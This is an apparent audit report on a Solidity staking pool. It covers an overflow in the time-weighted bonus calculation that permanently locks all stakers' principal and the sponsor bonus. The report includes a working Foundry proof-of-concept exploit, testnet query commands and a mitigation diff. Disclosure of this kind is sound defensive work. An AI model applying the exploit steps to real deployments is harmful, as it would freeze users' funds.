Root + Impact
Description
Normal behavior is that claimExpired() snapshots the pool at expiry, resolves EXPIRED, and lets every eligible staker withdraw principal plus their k=2 time-weighted bonus share.
The issue is that the intended score is amount * (T - entryTime)^2, but _bonusShare() reconstructs it from large absolute Unix timestamp terms. The positive and negative terms are meant to cancel, but Solidity must first build T * T * snapshotTotalStaked + snapshotSumStakeTimeSq. That intermediate can overflow even when the intended final (T - entryTime)^2 score is far below type(uint256).max.
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
@> uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
@> eligibleStake[msg.sender] += received;
@> userSumStakeTime[msg.sender] += contribTime;
@> userSumStakeTimeSq[msg.sender] += contribTimeSq;
@> totalEligibleStake += received;
@> sumStakeTime += contribTime;
@> sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
emit RiskWindowStarted(t);
}
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
...
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
@> snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus;
@> snapshotSumStakeTime = sumStakeTime;
@> snapshotSumStakeTimeSq = sumStakeTimeSq;
...
@> outcome = PoolStates.Outcome.EXPIRED;
@> outcomeFlaggedAt = expiry;
@> claimsStarted = true;
}
uint256 userEligible = eligibleStake[msg.sender];
@> if (userEligible == 0) {
@> return;
@> }
...
@> uint256 bonusShare = _bonusShare(msg.sender, userEligible);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}
The factory allowlist only checks that the token was owner-approved. The repository compatibility section says standard ERC20 tokens are supported and excludes fee-on-transfer/rebasing tokens, but it does not cap token decimals, raw supply, or maximum aggregate raw stake.
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
@> if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
...
}
function setStakeTokenAllowed(address token, bool allowed) external onlyOwner {
if (token == address(0)) revert ZeroAddress();
@> allowedStakeToken[token] = allowed;
emit StakeTokenAllowedUpdated(token, allowed);
}
At the PoC timestamp and a 31-day expiry, the first overflowing aggregate is:
riskWindowStart = 1750086400
expiry = 1752678400
raw stake = 18874988441203905396930864743654449404832323599220105460851
display amount = 0.018874988441203906 tokens at 60 decimals
The intended global score rawStake * (expiry - riskWindowStart)^2 is still far below type(uint256).max; the revert is caused by the implementation's absolute-timestamp expansion.
This is related to the existing L-04 arithmetic family, but the settlement path is materially stronger: risk-window observation succeeds, a zero-stake caller finalizes EXPIRED without entering _bonusShare(), claimsStarted latches finality, and then every real staker claim reverts in _bonusShare().
Risk
Likelihood:
Reason 1: This occurs when a standard high-decimal ERC20, or any standard ERC20 with sufficiently large raw balances, is allowlisted as a stake token.
Reason 2: This occurs through normal public calls after allowlisting: stake before active risk, stake once during UNDER_ATTACK to seal the risk window, and call claimExpired() at expiry from an address with no stake.
Reason 3: Current observed BattleChain testnet pools use 18-decimal stake tokens, so this is not live-exploitable on those discovered deployments today.
Impact:
Impact 1: All staker principal remains locked because every staker's claimExpired() reverts before balances are deleted or tokens are transferred.
Impact 2: The sponsor bonus remains locked because sweepUnclaimedBonus() treats principal plus bonus as reserved after the snapshotted EXPIRED outcome.
Impact 3: The moderator cannot correct the outcome after the zero-stake resolver sets claimsStarted = true.
Proof of Concept
Create test/unit/ConfidencePool.k2IntermediateOverflow.poc.t.sol with the following full test contract:
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract HighDecimalsERC20 is ERC20 {
constructor() ERC20("High Decimals", "HDEC") {}
function decimals() public pure override returns (uint8) {
return 60;
}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract ConfidencePoolK2IntermediateOverflowPoC is Test {
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
uint256 internal constant MIN_STAKE = 10 ** 57;
uint256 internal constant BONUS = 100 * 10 ** 60;
address internal constant DEFAULT_SCOPE_ACCOUNT = address(0xC0FFEE);
HighDecimalsERC20 internal token;
MockAttackRegistry internal attackRegistry;
MockSafeHarborRegistry internal safeHarborRegistry;
MockAgreement internal agreementContract;
ConfidencePool internal pool;
address internal agreement;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal attacker = makeAddr("attacker");
address internal carol = makeAddr("carol");
address internal resolver = makeAddr("resolver");
function setUp() public {
vm.warp(BASE_TIMESTAMP);
token = new HighDecimalsERC20();
attackRegistry = new MockAttackRegistry();
safeHarborRegistry = new MockSafeHarborRegistry();
agreementContract = new MockAgreement(address(this));
agreement = address(agreementContract);
agreementContract.setContractInScope(DEFAULT_SCOPE_ACCOUNT, true);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(agreement, true);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
address[] memory scope = new address[](1);
scope[0] = DEFAULT_SCOPE_ACCOUNT;
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
pool.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
MIN_STAKE,
recovery,
address(this),
scope
);
}
* ## Proof Explanation
*
* testAbsoluteTimestampExpansionCanFinalizeThenFreezeAllStakerClaims proves that the k=2
* formula can overflow only because it expands `(T - entry)^2` into absolute Unix timestamp
* terms:
*
* 1. A high-decimal but otherwise standard ERC20 is used as an allowlisted stake token.
* 2. Alice deposits enough raw units that risk-window observation still fits.
* 3. The attacker deposits only `MIN_STAKE` after UNDER_ATTACK, which seals
* `riskWindowStart` and pushes total stake over the later `T^2 * total + start^2 * total`
* overflow boundary.
* 4. At expiry, a zero-stake resolver calls `claimExpired()`. This snapshots and permanently
* finalizes EXPIRED without calling `_bonusShare()`.
* 5. Alice's and the attacker's later claims both revert with arithmetic panic 0x11 when
* `_bonusShare()` computes the global absolute-timestamp `plus` term.
* 6. Withdrawals and moderator correction are unavailable after finality, and
* `sweepUnclaimedBonus()` sees all principal plus bonus as reserved.
*
* The asserted final pool balance proves the complete principal and bonus balance remains
* trapped after finality.
*/
function testAbsoluteTimestampExpansionCanFinalizeThenFreezeAllStakerClaims() external {
assertEq(token.decimals(), 60, "PoC uses a standard high-decimal ERC20");
uint256 riskStart = block.timestamp + 1 days;
uint256 expiryTs = pool.expiry();
uint256 denom = expiryTs * expiryTs + riskStart * riskStart;
uint256 overflowingTotalStake = type(uint256).max / denom + 1;
uint256 honestStake = overflowingTotalStake - MIN_STAKE;
assertLt(overflowingTotalStake, 2 * 10 ** 58, "less than 0.02 displayed tokens");
assertGt(honestStake, MIN_STAKE, "honest stake dominates the poison stake");
assertLe(honestStake * riskStart * riskStart, type(uint256).max, "risk observation still fits");
_stake(alice, honestStake);
_contributeBonus(carol, BONUS);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_stake(attacker, MIN_STAKE);
assertEq(pool.riskWindowStart(), riskStart, "risk observation succeeded");
assertEq(pool.totalEligibleStake(), overflowingTotalStake, "aggregate stake crosses later overflow boundary");
assertEq(token.balanceOf(address(pool)), overflowingTotalStake + BONUS, "pool holds all principal and bonus");
vm.warp(expiryTs);
vm.prank(resolver);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "zero-stake resolver finalized");
assertTrue(pool.claimsStarted(), "finality latch prevents moderator correction");
assertEq(pool.snapshotTotalStaked(), overflowingTotalStake, "overflowing total was snapshotted");
assertEq(pool.snapshotTotalBonus(), BONUS, "bonus was snapshotted");
vm.prank(alice);
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
pool.claimExpired();
vm.prank(attacker);
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
pool.claimExpired();
vm.prank(alice);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.withdraw();
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
assertEq(
token.balanceOf(address(pool)),
overflowingTotalStake + BONUS,
"all principal and bonus remain trapped after failed claims"
);
assertEq(token.balanceOf(alice), 0, "honest staker cannot recover principal");
assertEq(token.balanceOf(attacker), 0, "poisoning staker cannot recover principal either");
assertEq(token.balanceOf(recovery), 0, "bonus cannot be swept because it is reserved");
}
function _stake(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
}
function _contributeBonus(address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(pool), amount);
pool.contributeBonus(amount);
vm.stopPrank();
}
}
Run:
forge test --match-path test/unit/ConfidencePool.k2IntermediateOverflow.poc.t.sol --skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol -vvv
Observed result:
Ran 1 test for test/unit/ConfidencePool.k2IntermediateOverflow.poc.t.sol:ConfidencePoolK2IntermediateOverflowPoC
[PASS] testAbsoluteTimestampExpansionCanFinalizeThenFreezeAllStakerClaims() (gas: 684762)
Suite result: ok. 1 passed; 0 failed; 0 skipped
Arithmetic boundary check used by the PoC:
riskWindowStart = 1750086400
expiry = 1752678400
raw threshold = 18874988441203905396930864743654449404832323599220105460851
display tokens = 0.018874988441203906 at 60 decimals
BattleChain testnet check:
cast logs --rpc-url "$BATTLECHAIN_TESTNET_RPC" \
--from-block 10000 \
--to-block latest \
"PoolCreated(address,address,address,uint256,uint256,address,address,address)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" <stakeToken> "decimals()(uint8)"
cast call --rpc-url "$BATTLECHAIN_TESTNET_RPC" <pool> "outcome()(uint8)"
Observed PoolCreated logs on BattleChain testnet:
pool stakeToken decimals outcome
0x1892f011d853D6CA5Cf930143307a8E7dae27811 0x12EA23f5600d831cEE92cdbfA10F534a5e7BEF39 18 2 (CORRUPTED)
0xfBd65230c49e9eF81a6f5a8eE56F4DbdBcB82C89 0x17D6Ac962762398EA7cA4734D2377537E2c3D981 18 1 (SURVIVED)
0x656EcA45881090E89bf71fFa44561C9F563211A2 0x5196eFCd15af99D97958EDD476fbE43208c3b483 18 1 (SURVIVED)
The same PoolCreated query against BattleChain mainnet returned no logs. This confirms the ConfidencePool creation path is deployed on BattleChain testnet, but the discovered live/testnet pools are not currently in the vulnerable high-decimal configuration. The live exploit condition is a deployed ConfidencePool using this code with an allowlisted high-decimal or otherwise very large-raw-supply standard ERC20.
Recommended Mitigation
Use timestamps relative to riskWindowStart for all k=2 accounting and add a raw aggregate stake bound that guarantees settlement intermediates fit through expiry. A decimals cap alone is incomplete because decimals() is metadata and does not bound raw balances.
- uint256 contribTime = received * newEntry;
- uint256 contribTimeSq = received * newEntry * newEntry;
+ uint256 entry = riskWindowStart == 0 ? 0 : newEntry - riskWindowStart;
+ uint256 contribTime = received * entry;
+ uint256 contribTimeSq = received * entry * entry;
- sumStakeTime = totalEligibleStake * t;
- sumStakeTimeSq = totalEligibleStake * t * t;
+ sumStakeTime = 0;
+ sumStakeTimeSq = 0;
- uint256 T = outcomeFlaggedAt;
+ uint256 T = outcomeFlaggedAt - riskWindowStart;
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ if (totalEligibleStake + received > maxRawStakeForExpiry(expiry)) {
+ revert StakeCapExceeded();
+ }
The actual patch should update _clampUserSums() consistently with the new relative-time representation so pre-risk deposits are represented as entering at offset zero once the risk window starts.